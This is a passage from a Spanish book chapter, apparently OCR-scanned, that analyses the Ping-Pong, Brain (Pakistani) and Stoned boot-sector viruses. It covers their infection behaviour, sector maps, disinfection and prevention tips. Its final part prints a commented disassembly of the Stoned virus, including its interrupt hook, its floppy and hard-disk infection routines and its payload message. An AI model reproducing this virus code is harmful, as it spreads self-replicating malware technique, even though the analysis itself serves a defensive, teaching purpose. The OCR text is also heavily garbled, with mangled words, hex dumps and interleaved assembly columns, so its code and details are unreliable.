los microprocesadores 8088; es decir IBM PC o IBI\1 PC/XT o 
compatibles, por lo que no infecta computJdoras basadas en 
procesadores 80286, 80386, 80-186 o Pentium. Esto hace gue a 
este virus se le considere "extinto", ya que actualmente exis· 
ten muchas más computadoras 386 y 486; por otro lado, 
otros virus de sector de arranque m.ls poderosos lo han des­
plazado 

Pn1g-PoJJ,~, que es otro de los nombres con que se le conoce, 
se activa en cuanto el relOJ de la computador11 cumple l11s 
condiciones pwgrílmildas en su código, exhibiendo en la 
panlt~lla del monitor una pelotita qul' rebota hacia todos la­
dos; sin embargo, esta molesta pelotita no ocasiona daños a 
los archivos. PruL'b<ls exhaustivas en nuestras comput<1doras 
indicaron que se activ<1 cuando se hacen acceso::> de lectura o 
gr<~bación al disco, y el reloj está marcando unos diez segun­
dos nntes de b hora o las medias horas; es decir, <1 lns 2:29:53, 
2:59:53, 6:29:54,6:59:53, 15:29:53, 15:59:5-l, etc. 

Algunos <lntivirus creados en l<1 parte orientnl de Europa, 
reportan versiones como llacked flmg-Po11s, que en lug<~r de 
present<1r !11 pelotilíl en el monitor, mediante un;:¡ subrutin<1 
borra los ocho primeros sectores de los disquetes, y Ynnkcc 
Ping-Po11g, que es unil mod¡ficílci6n hecha al de Turí11, por 
unJ. infección anterior del virus Yn11kce Dootl/c. 

Los programas ilntl\'irus primero \'erifican el ñrea d~.· carga 
i11ic1111 (Boot sector) y, si no encuentran el progra11111 otigi1wl de 
cnrga i11icial (Bnot program), lo buscan donde esté y lo copi<~n 
o lo restauran en d sector O. Dcj<1n el código del virus y el an­
tiguo progr11ma de carg.t inicial en donde lo colocó el Vii'LIS &~1 
infect.u el disú). Al re~taur.u el progr11m.1 original en el sec­
tor O, queda erradicado el Virus y ya no representa ninglln 
peligro paril su sistema porque 111 "cargar" 1;~ computíldora, 
la carga se h11rá con ei+Hogramil correcto. ¡El virus ha muer­
to, R.I.P.! ¡Viva el \'irus\ 
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5, 1.3 El virus de Paquistán 

\ 

Figura 5.11 
Mapa de un 
disquete de 
5 VJ ·, Infectado 
con el original 
v/rus de 
Poqulstón. 
ObseNelos 
clusters 55 a 57 
morcados como 
do,.,odos. 

El uirus de Pnq11islá11 o Ruli11, otro mfcctnr dL·I sector de arr<~n­
gue, al igu11l que todn~ los demJs \'!rus conocidos h.1 sufrido 
Ullil ~erie de mut.Kinnes, ·:diciones, mod¡(IC,lCÍOill'S, L'tc, lJlll~ 
proplCi<ln que cad,1 ln\.e~tJg.Hjor que lo lk~gil .1 percibir se re­
f¡eril íl él de maner.1 difLorentc Tal como se procedH1 con L'l \'1-
rus de '1/trÍII, SL' prescnt<1 <~quí el111np11 de un disquete de 5 V~" 
de 360 kB infectíldn cnnl.l ,·crs1ón 9 O de b \'<Hiante conocida 
como rJiru:. dd :npnlo (5/wc Vtn1s). 

EstL' \'irus ncup,1 9 kB enl<~mcmoriJ y 3 072 bytes-seis sec­
tores-en el di~co mfectado. Cuando está presente en !11 com­
putíldora h&~ce muy lenttlS !tlS procesos de <~cceso de lectura v 
grab.1ción, sobre Indo cuanlh1 buscíl 11lgün disco al cuíll corl­
tagiar y éste se hall<~ protegido contrJ. L'Scrituril, ya quL' ,mfL'S 
de mostrar lo qut.' ~e le pidt.', rL'.lliza ,·arios JllfL'nlos Je mfec­
ción Contrt~ri<) .1lo que creen 1.1mayoría dl.' J.1s perstm,ls, nin­
gün disco así protegido puede ser lllfectildo Se h.lce L'St.l 
ac!Mí!Ci()n pon¡ue h.1y quienes piens.m que los \'il'll.S lllfor­
m<lticos pueden tr.1smitirse de un disco ,1 otrn, incluso cuiln­
do se gu.udan juntos, en una lllJSma ca¡a, di:.;(¡lS :.al/os\' d1sco:; 
Ílljt'Clados · 
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Est.í cons¡deradn como muy Jailino y difícil de crradJcar 
en sus nwd<Jhd.1des .lctuall.'s, que difieren mucho de la S llave 
versión onginal cread¡¡ en Lahorc, Paquist.í.n, lil cual prcsen~ 
taba un mensiljc, los d.1tos del registro de autor y fech<1: \Vc/­
comc /{l 1/ie duHgco''-· Bt•wnre of this VIRUS. Co11fnct ltS Jor 
llitcciuotion, con copyright 1986; los nombres Has// y Am;ad; el 
nombre de la compiiñÍ<l, Bwiu Com¡mta Scrc.•tccs, y la diH.'C­

CJÓn, 7.10 Nc.a111 Block Al/onwlqbnl, Lnlwrc, P111]11iMIÍ11, .1sí como 
sus núnH .. ·ros leiefónicos. 

Los .llllores ilSegurtlrOn que h.1bían creado el virus slllo 
pnra control de su propio software. En su versión orign1td in­
fecta ünic¡¡mente los disCO!:. flexibles de 51,~¡" y, al dL"snlrliSt', 
rccmpl<~za JI ~cctor de carg<~ y lo coloca en algún sector libre, 
seíiala como sectores no ut1hzables todos los que ha ocupado 
para su protección. H<~CL' muy lenta la opcrJción de carg<~ y 
borra muchos Mchivns -la versión que se conoce en México 
no pwduce esos d<1iios-. 

r\ d1ferenci.1 del tllnt~ dt' Turí11, L'Sie virus sí grZ~ba su códi~o 
en el tÍ reo de cnrga 111ioa/ sobre los primeros 32 desplaz<~mien­
tos -.írea conocid.1 como bloque de par.imetros del BJOS 
(BIOS P<~rarnetcr Block, l3PB)-. Después lt~ copia a pJrtir del 
sector 118 o del plllllL'r sector vacÍ¡) que cncuL'ntra, y real 1za 
una copw de sí mismo en lns sectmes siguientes, m.uc.1ndo 
tudus éstos como dañados, tal y como lo podemos ver en d 
11111¡m del disco infect.-.do de la Figura 5.11. 

Al lrt~bajar con un disco infect<~do por el virus de Paquis­
láll, se nota que la mfección no es scnciii<J. Dcben cumplirse 
ciertos requisitos pi!ril que ésta se lleve a GJbo, de modo que 
no se debe crear pánico por GlUSil de los virus, ya que por lo 
menos las Vl'rSioncs conocidas resultan manejables y s1 seto­
man las prect~uciones necesarias, no reprcsent.1n mayor pro­
blema, además, con la gran cantidad de programJs .:mtivirus 
que se cncuentr¡¡n y.1 al íllct~nce de cut~lquicr usuario, este 
t1po de virus es muy fáol de erradicar. 

Nota: Durante el proceso de investigación, se trabajó con las versiones 
3 3, 5 O y 6.2 del sistema opera11vo M S-DOS, protegiéndolas 
contra grabac1ón También so u!JIJzaron las versiones 4.21 y B.O 
de PC Tools, 4 5 y 7 O de Norton U!Jhlles y 1.0 de Q.oos 3 de 
Gazclle Systems, cuyos d1scos Igualmente se protegieron. 
Después de •nleclar una gran cant1dad de d1scos y analizarlos con 
estas herramientas, se procedió a ver1!1cartos con vanos 
programas detectores de virus y se curaron con antivirus, la 
mayoría de los cuales cumplió su cometido. 

Figura 5.12 
Sector de cargo 
de un disquete 
de5 11<~­

lnfeCIOdO con el 
virus de 
Paqulstán, 
observe el 
mensaje de los 
creadores del 
virus. 
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Después dc cstos prnccdnnicntos se c.nmpwb.uun todos 
los Jiscus protegichls con los que se trt~baJÓ, y nunca ~L' en­
contró en ellos ~dl,1! ¡¡Jgun,t de inrL·cción n modi(icanún. Esto 
demostró que la proteccit'm de los cilscos contra L'Scritura es 
realmcnk confi,tbk• \'no se debe IL'Illcr t1 las infcccilmL·S SI se 
toman ].lS lkbid<IS p;.L'(,lll(\OileS 

Las v<~rianll's más conocidas de este VIrus son Hn1111-B, de­
nominado 1<1mbién ViJ'll:> fhw~lo11, y es 1.1 VMiante del \'Jrus 
de Paquist.ín que adKinnó l.t opc1ún p<~ra infect.u los discos 
fijos o duros Hram-C mfecta 11l disco dum, como d <~nll'riur, 
pero se le h,1 elimin.1do l.1 ctiquet,l de copynght (Hrain) del 
sector 5, hi1Cil.'l1do más d1fícil su dl'leccil1n. Ll vers1ón v9.1 
del Slwe Vír11~-H, se lu modit~eJdo para que no mfL'Cie a los 
discos fijos. L,1 \'.ll'l.lllle C/o/1¡'-H corrnmpcr.l la t.1bl.1 de asig­
nación de .uchn'os (File Allocat1on 1:1ble, FXI') si se carg<~ 
después del 5 de m.1yo de 19~2. 

En l<1s F¡gur.ls 5 12 y 5 1.1 se \'e L'l secll)r de c<"~rh.l inici.1l del 
disqul'te, dondL· se puede leer el IllL'lb.lje y los IWmbrL'~ dL' 
sus outnrcs. Lo \'ersi<·m de L'Ste virus que se L'Stud1ú t•:-. !.1 9.0 

. dd VIII/~ dl'l :npalo (Shoe \·irus). E~l<~ l'S 1111.1 de !.1s nwcl1.1S nw­
dificJcwnes que se han hecho td l'/1'11::: dt• fJaquiSIIÍII y tiene C.l­
rt~ctcrísticas muy L':-.peói1lcs, i1dcmás de que se h.1 fusioni1do 
con un.l infección dciPIIIIS d1• Turí11: 
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Figura 5.13 
Segunda porte 
del sector de 
carga del 
disquete 
Infectado, 
donde no se 
encuentran Jos 
mensajes del 
DOS. 

,. Aunque tcúric<Jmente el \'Írus dL· l'aquistá11 no infL·ct.l dis­
cos duros, eSI<I \'er~ión sí cont.1gió l.'l disco fijn de:?.(} i\lb_ SL' 
ubicó en 1.1 t.1biJ. Je p<~rlinones y cop1ó su cóJ1go ,1los dus­
tas 260, 26-l v 268 del disco, los cuales fueron mílrc.ldos 
como du:.>tcr/dmiodos por el \'irus. 

:;.. Est<~ \'Crsión se fusionó con una infección .1ntcnor del Pi m;; 
dt! "fin Í11, por lo que (lcup.l m.ís L'sp.Kio -tres cluster~; es decir, 
seis secton..·s- y presenL:1 en el "mapa" m;ís clusters doliia­
dos- No obstante, siempn~ prcdomin<J el control del I'tntS 

Brniu o PtltJIIÍslaní. Por est.:t r.Jzón es que infcct.llos discos du­
ros ~1 virus de 1 urí11 es d que los infecta, no el paquisla11í-. 

,. Cu<Jndo se trat<J de "hmpi<n" el disquete infect<~do, con 
Clen11 de !dcAJt·e, el .mtJvirus ubic.l el contemdo del seclor 
12 en el ár~n de carga, creyendo que está restauriÍndoi<J, y lo 
gue estiÍ h.Kiendn rcíllmcnte es mfcctar con d l'ÍI"II~ tie J{¡­
ríll el disquL'Ie, por lo que se Jcberfi ejecutar nul'V.Jmente 
el programa Clctlll para, ahora sí, quitar c!Z'II us d~ ltii'ÍJI En 
este cJso sí S<Jbe Clca11 que el sector 13 es el que contiene el 
progmtllll tk ca1ga otigtlllll 

:,.. Este sí pudría ser un virus d.líiino, pero en el dcsens.lmbl<~· 
do que se h1ZO cnn Debug, se han descuba~rto rutinas que 
hi.ln sido dt.'sactiv.1das por algún program.1dor, apro\·c­
chandu que el programa del virus cstíl escrito con un cúdi­
go muy t'legrwtc. 

Figura 5.14 
Sector 1 donde 
se aloja lo 
primera copla 
de lo FAT del 
disquete 
Infectado con el 
VIrUS de 
Poquistón. 
Observe lo 
cadena de 
Identificación 
det virus: 7F FF F7 
7F FF F7. lo cual 
es ta morco de 
los sectores 
doi'lodos. 

Nota: 
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,.. Cuand1) ulfL'ct,1, Iiliinduce un,l p.H te dL' ~u ctí~l 1)-',n l.'ll l.']"L'(­
tor cero tkl di~co, y L'l cúdJgtl de T111i!l y el Jll1Jgr.11ll.1 dL' 
Cill'b•lL'Il L'l cluskr 2 (sL·dores 1~ ~- tll, tlL'I1l'i pnmc1u l]IIL' 
encuL'nlrL·Iibrc Ensl'gllld.1L'Il\ í.1 IlUL'LllnL'nte L'l p1o¡.;ram.1 
de carg.l -,pnr dup1Ic.1dt)!-, ¡unto úlll un,1 L\)jli,l 1k !.1 F1\ 1 
\' L'JiL'StO de :.11 (t'ldl~ll, .l Jos du:'/¡'/S 55 a bl) (:--L'((tli"L"S 11~ ,1 

Í23) SI e:.t;Ín L1CÍtlS,~Jno,lns ub10 .l p<~rtir dl'i ¡1rimerclus­
tcr \',lCÍtJ que L'I1CliL'I11J,1 

t\1,HCil ltldt)S los du:.kr~ utiiJ/,ldos -c.1torcc ~L'LinrL·~ en fp­
tal- como dtllindo~. Al dcsin!L•ct.H el d1squl'te, ~e L'lilniil.lL'I 
\'irus del sector de carg.1, pl'ro ~e qul'tL1n m.HC,lllPS In~ 
clustl'rs m.llos, ¡cduCIL'JHlo .bí ],¡ c.1p.1cid.1d de .tlmacen.l-
miento de datos en L'i di::.cn. · 

Cuando se res Iaura el programa de carga inic1al (Boot program) de 
un disco mlectado, regresándolo a su lugar orlgmal -en el sector 
0-, se destruye el virus, pues aunque una parte de su cód1go s1ga 
en el d1sco. te !altar á el cód1go m1cial, que es la que lo act1va en la 
memo11a para cumplir su comet1do. 

PoH<t protegerse de esiL' virus L'll p<~rticu_l.u, y de Indos los 
infectores dl'l .lrc.1 de c.l!"g.l (Boot SL'Cior), ~L' recomicnd.t lle­
vnr <t Gibo las siguiL•ntes indic,lcJonc~: 
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Figuro 5.15 
En el sector S del 
disquete 
infectado. el 
directorio raíz. el 
v1rus Incluye el 
copyright y el 
nombre de Broln 
Computers de 
Lohore. 
Paquistán 

Figuro 5.16 
Mapa de un 
disquete de 
5 11.<~ ~ Infectado 
con el virus del 
zapato. Observe 
el cluster 2 y los 
clusters 55 a 60 
morcados como 
dar'lodos_ 

r.th=B: 
Abmlute sector 0000005, Syst.e. !'llf 

IHspiAce..enl lk• codes,------­
~(~10000000000000000000000~00000000 
ootbloolol · oo oo oo oo oo oo oo oo oo oo oo oo oe oo oo oo 
OOlZ UlGZO 1 00 00 00 00 00 00 00 00 00 00 00 00 88 00 08 00 
001atoeJn ee oo oo oo oo oo oo oo oo oo oo oo oo oo oo oe 
oeb1t0010> . za 211 63 29 ·zo otz 12 6t 6'1 6E zo os oo ao oo oo 
~(~) 00000000000000000000000000000000 
~(~) 000060000000000000000000~0000~ 
0112UI0781 00 00 00 00 00 80 00 OÚIO 00 00 00 80 00 00 00. 
o 128 weoo 1 80 oo oo oo eo oo oo oo oo oo oo oe oo oo oo oo 
OltHOO'JOI 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 
OlbOtoeAOI 00 00 00 00 00 00 00 00 00 00 00 00 80 00 09 00 
017&<00BOI 00 00 00 00 00 00 08 00 00 00.00 00 00 00 00 08 
01'3ZCOOCOI. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
OZBIH08DI)) 00 00'00 00 00 00 00 00 00 00 00 00 00 00 00 00 
OZZiiOOEOI 00 00 00 00 oo·oo OG 00 00 00 00 00 00 00 00 08 
~~ooro>oooooooooooooooo 00 oooooooooooooo 

ftSCII ~Miue 

tcl Br.~ln a 

.. ' 

,_. Nunc.-. deje dJsqul'lcs "o/v¡dado~" dentro de !,1 cumput.-.dor.-. 
cu~n~to la ílp<~wu~, d~ lo contr.-.no, Cl~tl!ldo 1.1 encicndil po­
dna mfeclllrl.l Si cltlisquek• nmliL'IlL' L'i VlrtJS L'll L"l StXIPr O. 
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J;> No introduzca a su computadora disquetes de dudosa 
procedencia o conteniendo programas piratas, es posible 
que alglm virus de sector de arranque venga incluido con 
ellos. 

,. Cuente siempre con uno o varios programas flllfiVirus, pa­
gue por \a licencia respectiva y obtenga las actualizaciones 
mensuales o bimestrales que siempre ofrecen las empresas 
seri<1s que se dedJCan al tema. 

,_. Active en la memoriíl de líl computadora un programa 
TSR monitor que le indique cuílndo se pretenden hacer ac­
cesos "pclisro::;os" de lectura o grabación a sectores crílicos 
de los discos. La versión MS DOS 6 mcluyc un programa 
resufeHIC en lltt'II/Orlfl que ofrece diferentes configuraciones 
de protección contra grll.bación y actwidadt's Vlrnlcs; se de­
nomina VSAFE. EX E. 

5. 1.4 Virus Sloned 

Otro virus que se an<~liza es el que se conoce con el nombre de 
Stoncd, que qu icre decir drogadu Es k VI rus se ilCIJ va de mane­
ra senlt'JdiHe a los dos anteriores, por lu que on11timos las ge­
neralidades y., conocidas. Lo que resultil mtcrcsante Y 
d1ferente con respecto de los otros dos es que al <~ctivarsc en 
la memor:ia, cuando se carga con un disco infectado, visuílli­
za akatoriamente un mensaje en la pí!nt.-.llíl: 

Your PC is IWW Stvned! (Su computadora est<l drogada!). 

LEGAUZE MAl<! JUANA (Lcgoliccnlo moriguana). 

La primera versión que se conoció, en febrero de 1988, pre­
scntdba el mensaje completo, pero después se supo de infec­
ciones que sólo desplegaban illeatoriamentc el mensaje: Your 
PC is 11ow stoned. Al infectar la computíldora de pruebas con 
este virus, infectó cualquier disquete que se introdujo, única­
mente con pedir ver su directorio. De inmediato reemplaza­
ba el prognmza de cargn i11icw/ (Boot program) por su propio 
cód1go en el sector O y enviaba el progr.-.ma de c.1rga ;1l sector 
11 (]Ue se encontraba vacío -este sector es el último del J¡rec­
torio raíz-. 

Debido a que su código es sencillo y f<lcil de comprender, 
este v1rus originan o de Nucvil Zcl<~nd.-. ha sen.'Jdo parll que 
a partir de él, se dJsciicn muchísimas variantes o nuL'VOS vi­
rus, m<ls m a hgnos y dcst ructi vos, algunos de ello~ son: f-J¡'t11p, 

¡ 
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Figura 5.17 
Sector de carga 
Infectado con el 
virus Sfoned. 
Observe que tos 
letreros del DOS 
han sido 
reemplazados 
por el mensaje 
del virus. 

1 Nota: 

New-Zcla11d, 1-lamui, A·1anjlll11111, Smitl!:::;o¡l/au, 1881 Boot. Otl­
nald Ouck, /~o_..,fov, Stlll Drcxo. St•r Rct'tlhi/WJI, No-1111, E¡,¡¡ f:lllpt­

rc, Stoncd Il, Ocru1is. Sto11t'd-I6, Sto11cd-r\T Lol'i', Stoncd-Collo1, 
Stoncd-A1exiolll, Stoncd Mutntw11, udem.í.s de muchos otros. 
Incluso, e\periment.mdn con él, se pudieron h.Ker modifictl­
Cione~: par;¡ que apon.!ciera otro te:do en el mens<~je (\'er Figu­
ra 5.18). N.ltur¡¡]mt._•nle el virus modific<1do fue destruido 
ense¡..;uid<t. 

Stoned infecta los d1scos duros ubicando su cód•go en el sector 
físico, Cilindro O, Lado O, Seclor 1, y desplazando la tabla de 
particiones (Master Boot Record, MBR) al Cdmdro O, Lado O, 
Sector 7, por lo tanto, la inlormactón que ahí se encuentre, puede 
ser dañada. Algunos d1scos duros alojan en esa direcc1ón la tabla 
de asignac1ón de archivos (FAT) o el d1rectono raíz, así que la 
información de este tipo de d1scos podría resullar totalmente 
Irrecuperable. 

La m.1yorí.1 de .lnli\'irus .JCtu,llL':. reconoce, llllrJiill y re:-t.lu­
rtl los discos duros u di:-.quL'il'S infecti1dus por el i'IIJI:-: Siollcd, 
pero t;¡mbil•n St: puL'Lk h.1CL'r un,1 lrlll¡nc::.,ll!lllllllill, L'S dL"ttr, se 
puL'de rest.ll"·deet.:r d SL'Cinr Lhlllt!L' L'St.í .llo¡.lll,l l.1 111/Jla dt' J1111'­
IÍC/tlJit'S •'nguwl, cnpi.índtlb ,¡J..;L'Cior IÍ:-.tcn Cdindm O, Lldll O, 

Figura S. 18, 
Mensaje del virus 
Stoned 
modtficado. El 
virus modificado 
fue destruido 
después de 
capturar esto 
pantalla. 

Figura 5.19 
Tabla de 
particiones sano 
de un dtsco duro 
tnfectodo con 
Stoned. 
reubicada al 
Cilindro O. Lado 
O. Sector 7. 
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Sector l, con .ll).!/111 pwgr.1m,1 editor de :-.ectnrl'S de disco, 
como JlC Tonb n Ntlrttlll Utilities, n l'je..:ut<H L'l .._·nm.1ndo 
FDISK Lkl DOS dL'Sde un di~quell' :-;¡1/ltl L'll l.lwl!d,lll I\: 
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FDISK /MBR 

Para erradicarlo de los disquetes, se hace de igual manera; 
restaurando el programa de carga inicial original al sector O. 
No debe ser motivo de preocupación gue se quede el progm­
mil de carga en el sector 11, pero si lo desea, puede escribir 
ceros en él también con un editor de discos. 

Enseguida se presenta un listado desensamblado del virus 
Stoned con algunos comentarios a la derecha, separando las 
diferentes rutinas que realiza éste. 

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
Principio del archiVO infectado con el virus Stoned 
•••••••••••••••••••••••••••••••••••••• * 

07CO 0000 EA0500C007 JMP 
o7co·ooo5 E99900 JMP 
07CO 0008 0059EC ADD 
07CO 0008 OOFO ADD 
07CO.OOOD E400 IN 
07CO:OOOF 807F007C CMP 
07C0.0013 0000 ADD 

........................ 
• Sección activa del virus • 

07C0.0015 1 E 
07e0.0016 50 
07C0.0017 80FC02 
07C0:001A 7217 
07CO 001C 80FC04 
07e0·001F 7312 
07e00021 OAD2 
07C0·0023 750E 
07eo 0025 33eO 
07eo·0027 8ED8 
07e0.0029 A03F04 
07e0.002e A801 
07e0.002E 7503 
07e0:0030 EB0700 
07e0.0033 58 
07eo 0034 1 F 
07eo 0035 2E 
07e0:0036 FF2E0900 

PUSH 
PUSH 
eMP 
JB 
eMP 
JNB 
DR 
JNZ 
XOR 
MOV 
MOV 
TEST 
JNZ 
eALL 
POP 
POP 
es· 
JMP 

07e0.0005 Salta a la rutina de instalación del virus 
OOA1 
[BX+DI-14],8L 
AL, OH Espacio reservado por el virus para 
Al,OO guardar sus variables. 
BYTE PTR [BX+00],7e 
[BX+SI],AL 

os 
AX 
AH,02 
0033 
AH,04 
0033 
OL,DL 
0033 
AX,AX 
DS,AX 
AL,[043F] 
AL,01 
0033 
003A 
AX 
os 

FAR ]0009] 

El virus venfica si no es intento de 
lectura o escritura, o SI no es acceso a 
la unidad A. Si es asf no mfecta. 

Si no es el primer acceso al disco 
tampoco infecla. 

Procede a infectar. 

Regresa a la rutma normal de 
mterrupción. 

...................... 
• Sección de mfecciOn • ...................... 
07e0.003A 53 
07eo·0038 51 
07e0.003C 52 
07e0.003D 06 
07e0.003E 56 
07eO 003F 57 
07eD 0040 BE0400 
07C0.0043 880102 
07C0'0046 DE 
07e0.0047 07 
07e0:0048 880002 
07e00048 33C9 
o7e00040 8801 
07CO 004f 41 
o7eo·oo5o 9e 
07e0:0051 2E 
07eO 0052 FF1 E0900 
07C0.0056 730E 
07eO 0058 33eo 
07e0.005A 9e 
07e0:0058 2E 
07CO 005e FF1E0900 
07C0:0060 4E 
07eO 0061 75EO 
07e0:0063 EB35 
07eD 0065 90 
07CO 0066 33F6 
07eO 0068 BF0002 
07e0.0068 Fe 
07e0006e DE 
O?eo·0060 1 F 
07C0.006E AD 
07e0.006F 3805 
07C0.0071 7506 
07eO 0073 AO 
07e00074 384502 
07C0.0077 7421 
07eO 0079 880 t 03 
07e0.007e 880002 
07e0.007F 8108 
07e0.0081 8601 
07e00083 9e 
07CO 0084 2E 
07CO 0085 FF1E0900 
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PUSH BX 
PUSH ex 
PUSH DX 
PUSH ES 
PUSH SI 
PUSH DI 
MOV SI,0004 ReaiJza 4 intentos de infección al disco. 
MOV AX,0201 
PUSH es Lee el sector de carga (Boo1 sector) del 
POP ES disco sano . 
MOV BX,0200 
XOR ex,CX 
MOV DX,eX 
INe ex 
PUSHF 
es: 
eALL FAR [0009] 
JNB 0066 Si no encuentra error, infecta. 
XOR AX,AX 
PUSHF Si existe error restablece y vuelven a 
es intentar. 
eALL FAR [0009] 
DE e SI 
JNZ 0043 
JMP 009A No se pudo infectar. 
NOP 
XOR SI,SI Comienza la infección 
MOV 01,0200 
CLD 
PUSH es 
POP os 
LODSW 
eMP AX,[DI] Venfica si el d1sco ya estaba contagiado. 
JNZ 0079 
LODSW 
CMP AX.[01+02) 
JZ 009A 
MOV AX,0301 
MOV BX,0200 
MOV CL,03 Traslada el programa de carga origmal 
MOV OH,01 (Boot program) al sector 11. 
PUSHF 
CS. 
CALL FAR [0009] 
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07CO 0089 720F JB 009A 07CO OODD F3 REPZ Se cop1a el virus a la memoria 07CO 0088 880103 MOV AX,0301 07CO OODE A4 MOVS8 • protegida 07CO 008E 3308 XOR BX,BX 07CO OODF 2E CS: 07CO 0090 8101 MOV CL,OI Se copia el v1rus en el d1sco. 07CO OOEO FF2EODOO JMP FAR [OOODJ 07CO 0092 3302 XOR DX,DX 07CO OOE4 880000 MOV AX,OOOO 07CO 0094 9C PUSHF 07CO OOE7 CD13 INT 13 07CO 0095 2E es 07CO.OOE9 33CO XOR AX,AX 07CO 0096 FFIE0900 CALL FAR [0009[ 07CO OOEB BECO MOV ES,AX 07CO 009A 5F PDP DI 07CO OOED 880102 MOV AX.0201 07CO 0098 5E POP SI 07CO OOFO 8B007C MOV BX.7COO 07CO 009C 07 POP ES 07CO OOF3 2E es: 07CO 0090 5A POP OX 07CO OOF4 803E080000 CMP BYTE PTR [0008[.00 Verifica con qué d1sco se cargó el 07CO 009E 59 POP ex 07CO OOF9 1408 JZ 0106 SIStema operativo DOS Fue del disco 07CO 009F 58 POP BX Termina la infección. 07CO OOFB 890700 MOV CX,0007 duro, asf que lee el programa de carga 07CO OOAO C3 RET 07CO OOFE BABOOO MOV OX,OOBO original (8oot program) del sector 11 

07CO.OIOI CD13 INT 13 ....................... 07CO 0103 EB~9 JMP 014E 
07CO 0105 90 NOP • Instalación del virus • 
07CO 0106 890300 MOV CX,0003 ....................... 
07CO 0109 BAOOOI MOV OX,OIOO 
07CO 01 OC C013 INT 13 07CO.OOA 1 33CO XOR AX,AX 07CO O 1 OE 723E JB 014E 07CO OOA3 BEOB MOV OS,AX 07CO 0110 26 ES 07COOOA5 FA CLI 07CO 0111 F6066C0407 TEST BYTE PTR [046C],07 07CO OOA6 BEDO MOV SS.AX 07C0.0116 7512 JNZ 012A Si es el séptimo intento de "carga", se 07CO.OOAB 8C007C MOV SP.7COO 07CO 0118 BE8901 MOV SI,0189 presenta en la pantalla el letrero "Your 07CO:OOAB FB STI 07CO'OII B OE PUSH es PC is now Stoned! NOTA: Aunque el 07CO OOAC A14COO MOV AX.[004CJ 07CO.OII C 1 F POP os letrero debiera aparecen en el séptimo 07CO·OOAF A3097C MOV [7C09[.AX Lee la dirección de la interrupción que 07CO 01 ID AC LOOSB intento de "carga", sólo aparecen en 07CO 0082 A 14EOO MOV AX,[004EJ va a sustitUir 07CO.OIIE OACO OR AL,AL forma aleatoria (esto parece ser a causa 07COOOB5 A30B7C MOV [7COBJ,AX 07C001207408 JZ 012A de modificaciones a la versión origmal). 07CO 0088 A11304 MOV AX,[0413J 07C0.0122 B40E MOV AH,OE 07CO.OOBB 48 OEC AX 07C00124 8700 MOV BH,OO 07CO OOBC 48 OEC AX 07C00126 COlO INT 10 07CO.OOBO A31304 MOV [0413[,AX 07C0.0128 EBF3 JMP OliO 07CO.OOCO 8106 MOV CL,06 07CO 012A OE PUSH es 07CO OOC2 03EO SHL AX,CL 07C0012B 07 POP ES 07CO.OOC4 BECO MOV ES,AX 07CO 012C 880102 MOV AX,0201 07CO.OOC6 A30F7C MOV [7COF],AX 07CO 012F 880002 MOV BX,0200 07CO'OOC9 881500 MOV AX,0015 07CO 0132 8101 MOV CL,OI Venfica SI existe d1sco fijo o duro Si no 07CO OOCC A34 COO MOV [004C[.AX Se conecta a la Interrupción. 07CO 0134 BABOOO MOV OX,OOBO ex1ste contmúa. Si existe, verifica si ya 07CO OOCF BC064EOO MOV [004E],ES 07C00137C013 INT 13 fue infectado. S1 no ha sido infectado, 07C0·0003 898801 MOV CX,OI 88 07CO 0139 7213 JB 014E salta (Jump) a la rut1na de Infección del 07CO 0006 OE PUSH es 07CO 0138 OE PUSH es diSCO duro. 07CO 0007 IF POP os 07CO 013C IF POP os 07C0:0008 33F6 XOR SI,SI 07CO 0130 BE0002 MOV SI,0200 07CO OOOA BBFE MOV OI,SI 07CO 0140 BFOOOO MOV 01,0000 07CO OOOC FC CLO 07C0.0143 AO LOOSW 

V¡ 
~ 
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07C0.0144 3B05 
O?CO 0146 7511 
O?CO 0146 AD 
07C0.0149 3B4502 
07C0:014C 750B 
07C0·014E 2E 
07C0:014F C606080000 
07C0.0154 2E 
07C0.0155 FF2E1100 

* Infección del drsco duro • 

CMP 
JNZ 
LDDSW 
CMP 
JNZ 
es: 
MDV 
CS: 
JMP 

......................... 
07C00159 2E 
07C0·015A C606080002 
07C0"015F B80103 
07C0.0162 BB0002 
07C0:0165 B90700 
07C00168 BA8000 
O?CO 016B CD13 
O?CO 0160 72DF 
07C0.016F OE 
07CO·Ot70 1 F 
07C0.0171 OE 
07C0.0172 07 
O?CO 0173 BEBE03 
07C0:0176 BFBEOl 
07C0:0179 B94202 
07C0"017C F3 
07C0.017D A4 
07C0.017E B80103 
O?CO 018133DB 
07C0:01 83 FECl 
07C0.0185 CD13 
O?CO·Ot 87 EBC5 
07C0.0189 07 
O?CO 01 8A 59 
07C0,018B 6F 
O?CO 018C 7572 
07C0"018E 205043 
07C0·0191 206973 
07CO·Ot94 206E6F 
O?CO 01977720 
07C0:0199 53 
07C0019A 746F 
07CO·Ot9C 6E 

CS: 
MDV 
MDV 
MOV 
MOV 
MOV 
INT 
JB 
PUSH 
POP 
PUSH 
POP 
MOV 
MOV 
MOV 
REPZ 
MOVSB 
MOV 
XOR 
INC 
INT 
JMP 
POP 
POP 
DB 
JNZ 
ANO 
ANO 
ANO 
JA 
PUSH 
JZ 
OB 

AX,[OIJ 
0159 

AX,[01+02J 
0159 

BYTE PTR [0008[.00 

FAR [0011[ EJeCuta el programa de carga origmal. 

BYTE PTR [0008[ ,02 
AX,0301 
8X,0200 
CX,OOO? Copia el programa de carga original en 
OX,0080 el sector 7. 
13 
014E 
es 
os 
es 
ES 
SI,038E 
01,01BE 
CX,0242 

AX,0301 
BX,8X 
CL 
13 
014E 
ES 
ex 
6F 
0200 
[8X+SI+43[.0L 
[8X+01+73J,CH 
(8P+6FJ.CH 
0189 
8X 
0208 
6E 

Se copia el virus en el disco. 

07CO 0190 65 
07CO 019E 64 
07C0019F2107 
O?CO OlA 1 ODOAOA 
07C0.01A4 004C45 
O?CO OlA? 47 
07C0:01A8 41 
07C001A9 4C 
O?CO OlAA 49 
O?CO 01A8 53 
07CO 01AC 45 
O?CO 01AO 204041 
O?CO OIBO 52 
O?CO 01B149 
OleO 01 B2 4A 
O?CO 01 B3 55 
OleO 0184 41 
07C0.01 B5 4E 
07C0.01B641 
07C001B7 2100 

OB 
OB 
ANO 
OR 
AOO 
INC 
INC 
OEC 
OEC 
PUSH 
INC 
ANO 
PUSH 
OEC 
OEe 
PUSH 
INe 
DE e 
IN e 
ANO 
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65 
64 
[BXJ,AX 
AX,OAOA 
[SI+45J,CL 
